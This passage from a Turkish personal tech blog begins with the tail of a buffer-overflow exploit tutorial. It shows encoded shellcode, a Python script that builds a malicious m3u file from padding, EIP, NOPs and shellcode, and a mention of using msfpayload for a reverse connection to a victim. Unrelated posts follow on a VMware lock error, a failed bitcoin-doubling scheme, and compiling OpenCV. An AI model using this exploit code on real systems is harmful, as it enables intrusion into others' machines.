"\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47"
"\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x53\x4b\x48"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38"
"\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54"
"\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x36\x4b\x58\x42\x34\x42\x33\x45\x48\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x33"
"\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
"\x42\x55\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x36"
"\x4e\x56\x43\x36\x50\x32\x45\x36\x4a\x57\x45\x56\x42\x30\x5a")
# \x00 \x09 \x0a bad chars
buf = buf + eip + arabosluk + shellcode
try:
file = open(fileName, "w")
file.write( buf )
file.close()
print "[+] File successfully created!"
except:
</code><code style="color: black; word-wrap: normal;"><code style="color: black; word-wrap: normal;">print "[!] Error!"</code>
</code></pre>
<br />
Belki gözünüze çarpmıştır. Önceki adımlarda bulduğumuz ara boşluğa bi 10 tane daha <b>NOP </b>anlamına gelen <b>\x90</b> ekledim. Shellcode'umuz stack'e atlarken bi taraflarına zeval gelmesin diye yastık/airbag niyetine koyduk onu oraya, herhangi bir etkisi yoktur. Dilerseniz bad charları bulmak için uyguladığımız adımları uygulayıp <b>Follow in Dump</b> diyerek NOP'ların (\x90) bellekteki yerlerini görebilirsiniz.<br />
<br />
Bu kadar yazı yeter, exploit'imizi kaydedip m3u uzantımızı alalım. İmmunity'den <b>Restart program </b>yapıp ardından <b>Run </b>edelim. Dosyamızı uygulamaya <b>Load </b>üstünden yükleyelim.<br />
Ve tüm yazıdan beklediğimiz sonuç,<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizSo8iRQbi-Dz1A0ouG0omX3u8DEN4iqmeCWaB1KFit23sOrHD2bCQ9pfV635C2BLrzdHrbXmHZxTLr7Akx3G74ZLgp5L1YENEfMrKaxoVIIsm54Tv_R6srFffOF4XkI6zHiPAhPVDewM/s1600/17.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizSo8iRQbi-Dz1A0ouG0omX3u8DEN4iqmeCWaB1KFit23sOrHD2bCQ9pfV635C2BLrzdHrbXmHZxTLr7Akx3G74ZLgp5L1YENEfMrKaxoVIIsm54Tv_R6srFffOF4XkI6zHiPAhPVDewM/s1600/17.JPG" height="356" width="640" /></a></div>
Overflow anlatımlarının meşhur Hesap makinesi.<br />
Tabii hepsi bu kadar masumluk içermiyor. Msfpayload'ı kullanarak kurban ile reverse bağlantı kurarak bilgisayarında cirit atabiliriz.Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com3tag:blogger.com,1999:blog-4536086478290117322.post-44981479264213696052015-03-04T10:31:00.000-08:002015-03-04T10:33:38.210-08:00VMware Workstation - The virtual machine appears to be in use Hatası ve ÇözümüCanım sıkıldı bi VMware'den XP'ye gireyim az BOF yapayım dedim. Bi de ne göreyim VMware Workstation diyor ki <b>"The virtual machine appears to be in use."</b>. Aman tanrım didim.<br />
<span id="goog_1940344481"></span><span id="goog_1940344482"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn6Sh4KqHYMcf-DdNVVZdgyKYMdzjyuhe0pSl2Ocpg0TaasGSzRc9BzDyqWUke8WR5OtH2QZbyVe9If2IwFQoJ7jBqCRHdgMPp5ATr_zDWhcPI-ew8NZKX6C21qeHUSVjIl0EcsiR5Vzc/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn6Sh4KqHYMcf-DdNVVZdgyKYMdzjyuhe0pSl2Ocpg0TaasGSzRc9BzDyqWUke8WR5OtH2QZbyVe9If2IwFQoJ7jBqCRHdgMPp5ATr_zDWhcPI-ew8NZKX6C21qeHUSVjIl0EcsiR5Vzc/s1600/1.JPG" height="143" width="400" /></a></div>
<span id="goog_1940344481"></span><span id="goog_1940344482"></span><br />
Neyse ki korkulacak bişey yokmuş. Çözümü kurmuş olduğunuz sanal makineyi hiçbir şekilde etkilemiyor rahat olsun içiniz.<br />
<br />
<a name='more'></a><br />
Sanal makineyi kurmuş olduğunuz dizine gidip orda bulunan<b> .lck </b>uzantısını içeren klasörleri uçurun, işlem tamamdır. .lck uzantılı klasörleri sildikten sonra sorunsuz bir şekilde makinenizle oynaşabilirsiniz.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJnJsS-NWjjEutI-_bJBvIkQF5b1OYF02CgfHq90dc-20o-ONa49Bs_1l_qK39JQSZNSl7tO4tw1dvz18yZ6TYOgJUJdPnfZVCzl31ajC_o8IOxpHHI_TpESFyI_hpLRsx0j8tBrhEwCU/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJnJsS-NWjjEutI-_bJBvIkQF5b1OYF02CgfHq90dc-20o-ONa49Bs_1l_qK39JQSZNSl7tO4tw1dvz18yZ6TYOgJUJdPnfZVCzl31ajC_o8IOxpHHI_TpESFyI_hpLRsx0j8tBrhEwCU/s1600/2.JPG" height="231" width="400" /></a></div>
<br />Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com2tag:blogger.com,1999:blog-4536086478290117322.post-16140666143569539082015-01-08T12:02:00.000-08:002015-01-29T11:02:11.607-08:00CryptoDouble - Yatır Coini Katla İkiye Bir kaç zaman önce cloud mining ile ilgili iş yapan CoIntellect ile ilgili <a href="http://yunusyildirim.blogspot.com.tr/2014/11/cloud-mining-cointellect.html" target="_blank">yazmış olduğum yazıda</a> iyi kötü yaşanılan olaydan ve yatırdığım paradan bahsetmiştim. Şimdi iki tane 100€'luk paketim var, yatırım yaptığım parayı çıkardım gerisi kâr sülalem raat. Neyse ordan aldığım ilk ödemeyi Dogecoin olarak alıp Bitcoin'e çevirdikten sonra bi şu işe gireyim diyerekten BTC işine girdim. <a href="https://btcturk.com/" target="_blank">BTCTurk</a> isimli türk sitesinde biriktirmeye başladım Bitcoinciklerimi. Az buçuk bişeyler biriktikten sonra coinin fiyatı acayip düştü. Ne oldu kâr edecez diye kalkıştığımız iş bi tarafımızda patladı. 860 liralardan 610-650 lira bandına kadar bir düşüş yaşandı.<br />
<br />
Paracıklarım gitmişti. Zarardaydım ne yapacaktım peki? Yükselmesini bekleyip 750 lira bandındayken paraları cekip zararı minimuma indirecektim. Ama ben ne yaptım? Milletin yeni yeni ve hararetli bir şekilde konuşmaya başladığı <b>The Place for Your Profit</b> mottosuyla ortaya çıkan <a href="http://cryptodouble.com/">CryptoDouble</a> adresine yatırdım. Peki nedir bu CryptoDouble?<br />
<br />
<a name='more'></a>Yatırmış olduğunuz coini (Bitcoin, Dogecoin, Darkcoin vs.vs) <b>100 saat </b>sonra ikiye katlayarak size veriyor.<br />
<br />
E çok güzel bu desek de ortada hiç bişey yokken adamlar yatırılan parayı ikiye katlayıp size veriyor. Her ne kadar sitelerinde al-sat ile bu işi yaptıkları yazsa da gerçekte ne olduğu meçhul.<br />
Durur mu Yunus, hemen atladım. Zaten zarar etmişim BTC borsasında battı balık yan gider diyerekten koydum parayı bunlara.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiENAgFwRVJpf2rvusuMWYVXcA1xXFrpANwyRYQ9hQPj35tBKIvEXfVVi5gEvoxHt1LlnQ1FdqivXRJXI-xK77BbgwrWcGcW9p1G-YtuQJ2dl2G8NGRyFB6Ng-G5cef6oKJfROpCzFVtO8/s1600/2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiENAgFwRVJpf2rvusuMWYVXcA1xXFrpANwyRYQ9hQPj35tBKIvEXfVVi5gEvoxHt1LlnQ1FdqivXRJXI-xK77BbgwrWcGcW9p1G-YtuQJ2dl2G8NGRyFB6Ng-G5cef6oKJfROpCzFVtO8/s1600/2.JPG" height="60" width="640" /></a></div>
Yatırdık parayı bekliyoz. Bir kaç saat sonra sonucu göreceğiz bakalım. Hem BTC'ninde değeri tekrar yükselmiş durumda. Gel babana gel bitcoincim.<br />
Siteye bayağı yatırım yapan var ama gördüğüm kadarıyla. Bir çok kişi ponzi çıkmasından korktuğu için az bir parayla işe giriyor. Önce küçük yatır gelirse yatır alayını mantığıyla yani.<br />
Peki siteyi açanlar bu mantıkla açtıysa? 2 gün sonra herkes baktı para geliyor, evi, böbreği sat yatır buraya yapar ve bizimkiler vınn.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizR0vXTx25-M81Jk67GZ-9l4h8FuJshWhRC_xazDCTprLmrSqaBke2Mo0tZrd8yFi3gETIOKjCgIu2If3ce32OZj8_kyrYQUvH843MxNhJu9JFRe75ZJIXS-XVDWPyQItisf4_yOQK99M/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizR0vXTx25-M81Jk67GZ-9l4h8FuJshWhRC_xazDCTprLmrSqaBke2Mo0tZrd8yFi3gETIOKjCgIu2If3ce32OZj8_kyrYQUvH843MxNhJu9JFRe75ZJIXS-XVDWPyQItisf4_yOQK99M/s1600/1.JPG" height="255" width="400" /></a></div>
<br />
Çoğu kişi Dogecoin ile bu işe giriyor. Tahminimce CoIntellect'ten gelenlerdir bunlar. Bi yerden duydular olayı hemen buraya transfer ediyorlar parayı.<br />
<br />
Son 7 saat, hadi bakalım. Parayı aldıktan sonra -eğer gelirse :)- editlerim buraları sizde haberdar olursunuz olaydan.<br />
<br />
<b>Edit</b>: Yatırdığım bitcoin, hesabıma 2 katı olacak şekilde yatmış. Yatırmış olduğum ana parayı cüzdan da tutuyorum, kâr miktarını tekrar yatırdım. Bakalım ne olacak. Şuan bi zararım yok eğer sistem patlamazsa sonraki geri ödemeye kadar aldıklarımı tekrar yatıracam. Hadi hayırlısı<br />
<span id="goog_81252917"></span><span id="goog_81252918"></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWa0UJj0Vf54z0rcL_vyl27z8LEiGbDTWVdmcIzSyRtyQzbb4ztZG_P54mn-liokXEE_CXObQdnzwOoTFqGJu71QECZZFqhPqG3GvU1_8wOQFGS6ogAtMZCoSf7GDrBlVDJWZeJ2FjDLI/s1600/3.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWa0UJj0Vf54z0rcL_vyl27z8LEiGbDTWVdmcIzSyRtyQzbb4ztZG_P54mn-liokXEE_CXObQdnzwOoTFqGJu71QECZZFqhPqG3GvU1_8wOQFGS6ogAtMZCoSf7GDrBlVDJWZeJ2FjDLI/s1600/3.JPG" height="78" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b>Edit2</b>: Dünden bu yana yoklar. GG. Dağılabilirsiniz şimdi.</div>
<br />Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com1tag:blogger.com,1999:blog-4536086478290117322.post-75421441162309360992014-12-20T12:26:00.003-08:002015-01-29T11:01:50.157-08:00OpenCV' yi MinGW ile Derleyip CodeBlocks Yardımıyla Resim İşleme - C Programlama - OpenCV'yi görüntü işleme ile uğraşanlar mutlaka duymuştur. Duymak güzel şey de işi uygulamaya sokunca çıkan sıkıntılar adama kimi zaman geri adım attırabiliyor. "Yeter ulan senle mi uğraşcam" diyip ödevleri salmayın gençler. Sonu iyi olmuyor. Tecrübeyle sebittir.<br />
<br />
Neyse konumuza gelelim efenim. Şimdi bu OpenCV denen illeti <a href="http://sourceforge.net/projects/opencvlibrary/files/opencv-win/" target="_blank">indirdiğimizde</a> herhangi bir kurulum yapmıyor. Sıkıştırmış olduğu dosyaları extract ediyor. Bundan sonrası sizde. İlk olarak indirmiş olduğumuz kaynak kodlardan kurulumu yapacağız. Bu işlemler linuxculara tanıdık gelir. Tabi eğer kaynak koddan kurulum yaptıysanız, <i>apt-get</i> yada <i>dpkg -i</i> ile işler bitmiyor. Ayık olun.<br />
<br />
Temel adımlar<br />
<br />
<ul>
<li>Configure</li>
<li>Make</li>
<li>Make install</li>
</ul>
<div>
Heeaa. Tanıdık geldi dimi linuxcular sizi. Amma velakin bu işlemleri Windows altında yapacağımız için bize bu işi yapacak program lazım. İmdadımıza hemen <a href="http://www.cmake.org/" target="_blank">CMake</a> yetişiyor. <a href="http://www.cmake.org/download/" target="_blank">Buradan</a> Windows için <b>Binary distributions</b> kısmı altında bulunan exe dosyasını indiriyoruz. Ardından <b>next-next</b> ile kurulumu yapıyoruz. <b>CMake (cmake-gui)</b> olarak masaüstüne kısayol atıyor. Bunu çalıştırdıktan sonra karşımıza şöyle bir arayüz çıkacak.<br />
<a name='more'></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZpNryXA-nOprPCeSkROa33AnizBYgPqQhCk_hWV34PrzS7QtFms8pKQWFRx5xEdvrVtr7aXKib7zNmSrC0HNBOIMt64ENO8X6wwvJ18UqC7Wn9nQcbpldj3AWi6uIBU3WJzJgXfnq0ok/s1600/0.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZpNryXA-nOprPCeSkROa33AnizBYgPqQhCk_hWV34PrzS7QtFms8pKQWFRx5xEdvrVtr7aXKib7zNmSrC0HNBOIMt64ENO8X6wwvJ18UqC7Wn9nQcbpldj3AWi6uIBU3WJzJgXfnq0ok/s1600/0.JPG" height="280" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b>Where is the source</b> kısmına OpenCV'yi açmış olduğumuz klasördeki sources klasörünü </div>
<div class="separator" style="clear: both; text-align: left;">
<b>Where to build the binaries</b> kısmına ise dosyaları nereye kaydedeceğini söylüyoruz.</div>
<div class="separator" style="clear: both; text-align: left;">
Ardından Configure kısmından CodeBlock'un kendiyle beraber yüklemiş olduğu C compilerı olan MinGW'yi seçiyoruz.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH88zVus8421bK9_9gdjcMjjPuL5U0zRrqipEWg7sVbFOJE4_fmi-4nhuTkeKaneGlQhRJMFJdnWcGvYZBLP68-f9GeFFmJ-W_wVIVLoGjw_PCtWCGrJZj9FQIGer99Yp0CyLWbeAt2Jk/s1600/0_1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH88zVus8421bK9_9gdjcMjjPuL5U0zRrqipEWg7sVbFOJE4_fmi-4nhuTkeKaneGlQhRJMFJdnWcGvYZBLP68-f9GeFFmJ-W_wVIVLoGjw_PCtWCGrJZj9FQIGer99Yp0CyLWbeAt2Jk/s1600/0_1.JPG" height="268" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Finish dedikten sonra başlıyor. Sağ alt tarafta bulunan progress bardan ilerleme durumunu görebiliyorsunuz. Configure işlemi bitirdikten sonra şöyle kırmızılı bir ekran karşılayacak bizi. Herhangi bir değişiklik yapmadan Generate butonuna tıklayıp devam ediyoruz. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggg-wgUBhb0P4iU6dDMwxsahF4hAlgsR7buDzf0Zekcf8bfPYxu-QC4VGueilHzMt7V8KoJOCIZBtMJH0zAbj7m0ZtwN5DnDVOSHpx8ls2CQ0j8wjbhklLY5ndOtoPFsAwAcEecHGfSqM/s1600/0_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggg-wgUBhb0P4iU6dDMwxsahF4hAlgsR7buDzf0Zekcf8bfPYxu-QC4VGueilHzMt7V8KoJOCIZBtMJH0zAbj7m0ZtwN5DnDVOSHpx8ls2CQ0j8wjbhklLY5ndOtoPFsAwAcEecHGfSqM/s1600/0_2.png" height="250" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Bu işlemde bittikten sonra <b>make </b>ve <b>make install</b> kısımlarına geçiyoruz.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Build etmesini istediğimiz klasöre gidiyoruz. Ben OpenCV ile aynı klasörde YeniBuild adından bir klasör oluşturmuştum ve CMake ile işlem yaparken de onu yol olarak göstermiştim. Bu yüzden <b>"C:\OpenCV\YeniBuild" </b>klasörüne gidip komut satırını burada açıyoruz.</div>
<div class="separator" style="clear: both; text-align: left;">
Eğer MinGW'nin binary dosyalarının bulunduğu path'i Windows path'e eklemişseniz doğrudan <b>mingw32-make</b> diyip make işlemine başlayabilirler. Eğer eklememişseniz,</div>
<div class="separator" style="clear: both; text-align: left;">
komut satırına mingw32-make'in olduğu klasörün yolunu verip işlemi başlatabilir. Bu yol bende <b>"C:\Program Files (x86)\CodeBlocks\MinGW\bin\mingw32-make.exe" </b>bunu tırnaklar içinde (çünkü klasör isimleri arasında boşluklar var) komut satırına <a href="http://www.youtube.com/watch?v=--VceF4M2oY" target="_blank">yabıştırdıktan</a> sonra enter. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwRzWIrpkim7MwusRw-lq2p1xgKitX4rVisHm-iakibWcpwlwrRa3SQC_uLUIadwXss3vi1thk9bWfMJBuyOPJF34Ut90i6yWahUNSu6dJwBXDinAYaFqaEdTX3qq_6iykvXhyphenhyphenXYiP5fM/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwRzWIrpkim7MwusRw-lq2p1xgKitX4rVisHm-iakibWcpwlwrRa3SQC_uLUIadwXss3vi1thk9bWfMJBuyOPJF34Ut90i6yWahUNSu6dJwBXDinAYaFqaEdTX3qq_6iykvXhyphenhyphenXYiP5fM/s1600/1.JPG" height="318" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Bu işlem bayağı bir uzun sürebiliyor. Ben işlem sürerken <a href="http://tr.wikipedia.org/wiki/Supernatural" target="_blank">Supernatural</a> aktım, sizede tavsiye ederim.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTR9AqWKBUnKUOinVvRRFgZMxXgjJMn85TVguWzpwINYgHunlanrMfJ5P32ONvEsvu9mBVUgN27OAYJlKgkxuEos11KPze9US8JZLCIR2DNLbGL3KCvIoKrVmsKIaG3MlJEouohl4vXW4/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTR9AqWKBUnKUOinVvRRFgZMxXgjJMn85TVguWzpwINYgHunlanrMfJ5P32ONvEsvu9mBVUgN27OAYJlKgkxuEos11KPze9US8JZLCIR2DNLbGL3KCvIoKrVmsKIaG3MlJEouohl4vXW4/s1600/2.JPG" height="288" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Bekle bekle bekle. Yavaş ve emin adımlarla make işlemine devam ediyor abimiz.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHvamHz9ekz-ny19IxSRs6XRf76Zrbmw_iHbbDWiygaUB2u6hRFR4H4F82f2fcsMqH-yjba89WvZ1U_FPpBwOi2LwMADcDjnzXJBeS7FhpPQyYMb9nHNg6Tjb1QogPrtixAsZ4KUFeS0s/s1600/3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHvamHz9ekz-ny19IxSRs6XRf76Zrbmw_iHbbDWiygaUB2u6hRFR4H4F82f2fcsMqH-yjba89WvZ1U_FPpBwOi2LwMADcDjnzXJBeS7FhpPQyYMb9nHNg6Tjb1QogPrtixAsZ4KUFeS0s/s1600/3.JPG" height="173" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Heh bitti sonunda. Ne meykmiş arkadaş. Şimdi bunun install versiyonuna geçiyoruz.</div>
<div class="separator" style="clear: both; text-align: left;">
Bunun içinse az önce yapmış olduğumuz make komutuna install parametresini veriyoruz.</div>
<div class="separator" style="clear: both; text-align: left;">
<b>"C:\Program Files (x86)\CodeBlocks\MinGW\bin\mingw32-make.exe" install </b>diyip entır tekrar.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZJyor5IEbiYJHMqCQMvFzA4UFq7zdZPsi-ZW3E5jmQo7g6zwjPP1nKEPKwLtaiNJklslkiEsC_SHue8e1XAsYrjyv-Sp24h-p9Mj0i5W6G5_qCUZb-svV_172_GGj_czy1w6OacKgndI/s1600/4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZJyor5IEbiYJHMqCQMvFzA4UFq7zdZPsi-ZW3E5jmQo7g6zwjPP1nKEPKwLtaiNJklslkiEsC_SHue8e1XAsYrjyv-Sp24h-p9Mj0i5W6G5_qCUZb-svV_172_GGj_czy1w6OacKgndI/s1600/4.JPG" height="331" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Bu işlem öncekine göre daha hızlı işliyor. Kısa bir süre sonra işlemler bitiyor. Ve OpenCV derleme işlemi sonra eriyor.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv2ycqr8Dvik7BLRzQwALjIV-lLJmuY7bXx_V2zntgU44iDxB_4cu1KmKX7-uCEDeZA_viN60WxQIMPlmdcRai95DVRXo4lSg9xfssWCHbwa5-WMSQAos8i9WFz3Erfs6TgEORVWyV2wE/s1600/5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv2ycqr8Dvik7BLRzQwALjIV-lLJmuY7bXx_V2zntgU44iDxB_4cu1KmKX7-uCEDeZA_viN60WxQIMPlmdcRai95DVRXo4lSg9xfssWCHbwa5-WMSQAos8i9WFz3Erfs6TgEORVWyV2wE/s1600/5.JPG" height="302" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Kurulumu yapmış olduğumuz klasördeki (benim YeniBuild) install isimli klasöre dosyalar işlenmiş oluyor. Buradaki "<b>install\x86\mingw\bin</b>" klasörününün yolunu Path'e ekleyelim. Bu işlemi anlatmıyorum. Gayet açıklayıcı belgeler var internette. Örnek olarak <a href="http://belgeler.istihza.com/py3/path.html#yol-a-dizin-eklemek" target="_blank">şu adres</a>.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b><span style="font-size: large;">CodeBlock OpenCV Bağlantısı</span></b></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Bu adımda derlemiş olduğumuz OpenCV dosyalarının yollarını CodeBlocks'a söyleyip ona göre compile işlemini yapmasını belirteceğiz.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Bir C projesi oluşturalım.</div>
<div class="separator" style="clear: both; text-align: left;">
Projeye Sağ tıkladıktan sonra <b>Build Option </b>seçin.</div>
<div class="separator" style="clear: both; text-align: left;">
veya bu olayı sonraki projelerde de uygulamak için</div>
<div class="separator" style="clear: both; text-align: left;">
En üstteki menülerden <b>Settings -> Compiler...</b> 'i seçin.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Burada <b>Global compiler settings</b> menüsünün altında bulunan <b>Linker settings</b> kısmına <b>a</b> uzantılı dosyalarımızı ekleyeceğiz. Bu dosyaların konumu kurulumdan sonra oluşan <b>install </b>klasöründeki <b>x86\mingw\lib</b> klasörünün içinde bulunuyor. Add diyip dosyaları seçip ekliyoruz.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga01O27A9KE6gLddmelSpZ0VXc4txhGh-O6Emo6zL7EDPmCrBTpgHdA9zZN-iCl9ro_BbeOwuC_5eAfbaPfS_5vk5xecISA1ck1ul_Elzk0ch0kZv8NzgTmJQV3xVUd-YZ8PhQK_MKGI8/s1600/6.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga01O27A9KE6gLddmelSpZ0VXc4txhGh-O6Emo6zL7EDPmCrBTpgHdA9zZN-iCl9ro_BbeOwuC_5eAfbaPfS_5vk5xecISA1ck1ul_Elzk0ch0kZv8NzgTmJQV3xVUd-YZ8PhQK_MKGI8/s1600/6.JPG" height="221" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Bütün dosyaları ekledikten sonra sıra <b>Search directories</b> tabı altında bulunan kısımlara.</div>
<div class="separator" style="clear: both; text-align: left;">
Buradaki <b>Compiler </b>kısmına <b>install </b>klasörünün altındaki <b>include </b>klasörünü ekliyoruz.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1VVDDjURv9ZxP0e2SIY3zdgVvk1EmVh-KZ2np5kMExsyl3vyIKFmJe6-vzNfBTA5f0vAjZ4uHoXIjQT_QZnWy2NbusOppJGrEJtDW7ZpY8tCXz8qk7Vzwhi-xiBm7DEtk87WtS2-LeC4/s1600/7.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1VVDDjURv9ZxP0e2SIY3zdgVvk1EmVh-KZ2np5kMExsyl3vyIKFmJe6-vzNfBTA5f0vAjZ4uHoXIjQT_QZnWy2NbusOppJGrEJtDW7ZpY8tCXz8qk7Vzwhi-xiBm7DEtk87WtS2-LeC4/s1600/7.JPG" height="287" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Sıra <b>Linker</b> tabına geldi. Buraya ise <b>install </b>klasörünün altındaki <b>x86\mingw\lib </b>klasörünü ekliyoruz.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
